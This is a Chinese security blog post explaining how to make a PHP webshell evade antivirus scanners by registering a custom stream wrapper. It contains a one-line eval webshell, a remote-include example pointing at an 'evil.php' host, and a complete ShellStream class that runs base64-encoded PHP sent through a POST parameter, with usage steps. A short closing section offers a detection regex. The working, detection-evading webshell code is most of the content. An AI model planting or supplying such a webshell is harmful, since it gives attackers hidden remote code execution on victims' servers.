流包装器实现WebShell免杀
作者:admin | 时间:2018-7-29 18:48:01 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言
本文是看PHP使用流包装器实现WebShell有感,权当做个笔记。
很早的以前,我们就见过 php://input,这其实就是流包装器的一种。php://input 是个可以访问请求原始数据的只读流。下面这行代码就是通过php://input获取post的数据,执行eval的一句话木马。
<?php @eval(file_get_contents('php://input')) ?>
include 函数,通常用于包含本地文件和远程文件。如果可以远程文件包含,则很容易构造免杀webshell。通过 include "htttp://remote.com/evil.php",把恶意代码放到远程机器上即可。但是,远程文件包含依赖php.ini的两个配置
;;;;;;;;;;;;;;;;;; ; Fopen wrappers ; ;;;;;;;;;;;;;;;;;; ; Whether to allow the treatment of URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-fopen allow_url_fopen =Off ; Whether to allow include/require to open URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-include allow_url_include = Off
通常情况下,这两个配置会被关闭,所以远程包含就用不了。那如果 " include 流 " 这种方式能否实现呢?
答案是肯定的,这个流我们可以通过PHP函数 stream_wrapper_register 注册包装器来实现。那为什么不使用php://input流来实现呢,要自己构造一个流函数。原因有二:
1、php://input流需要file_get_contents来获取,容易被查杀
2、http://php.net/manual/zh/wrappers.php.php 这里有说明,php://input 受到 allow_url_fopen 的限制
编写
注册包装器的函数参考 http://php.net/manual/en/class.streamwrapper.php,
编写实例参考http://www.cnblogs.com/jingjingdidunhe/p/6346884.html。
<?php class ShellStream { protected $position; protected $code; public function stream_open($path, $mode, $options, &$opened_path) { $url = parse_url($path); $name = $url["host"]; $this->code = base64_decode($name); $this->position = 0; return true; } public function stream_read($count) { $ret = substr($this->code, $this->position, $count); $this->position += strlen($ret); return $ret; } public function stream_tell() { return $this->position; } public function stream_eof() { return $this->position >= strlen($this->code); } public function stream_seek($offset, $whence) { switch ($whence) { case SEEK_SET: if ($offset < strlen($this->code) && $offset >= 0) { $this->position = $offset; return true; } else { return false; } break; case SEEK_CUR: if ($offset >= 0) { $this->position += $offset; return true; } else { return false; } break; case SEEK_END: if (strlen($this->code) + $offset >= 0) { $this->position = strlen($this->code) + $offset; return true; } else { return false; } break; default: return false; } } // include public function stream_stat() { return stat(FILE); } // file exists public function url_stat(string $path,int $stat) { return stat(FILE); } public static function shell(){ stream_wrapper_register('shell', ShellStream::class); if (isset($_POST['code'])) { $code = $_POST['code']; include 'shell://'.$code; } else { include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7'; } } } ShellStream::shell(); ?>
使用方法,传入code参数。例如:
code=PD9waHAgcGhwaW5mbygpOw%3D%3D
其中 PD9waHAgcGhwaW5mbygpOw%3D%3D 就是<?php phpinfo(); 的base64编码。要想执行其他命令传入完整php代码的base64编码即可
检测
1、动态检测:一般大型互联网会有自主研发的入侵检测系统,hook底层的命令,所以可以在webshell触发命令后检测到。
2、静态检测:大多数安全产品和应急响应使用的是静态检测,这边一个思路是匹配对应的正则
(include|require)(_once){0,1}[\s*]+[\"|\']+[0-9A-Za-z_]*\://
已加入到笔者的webshell静态检测工具 findWebshell
参考
http://www.freebuf.com/articles/web/176571.html
http://www.cnblogs.com/jingjingdidunhe/p/6346884.html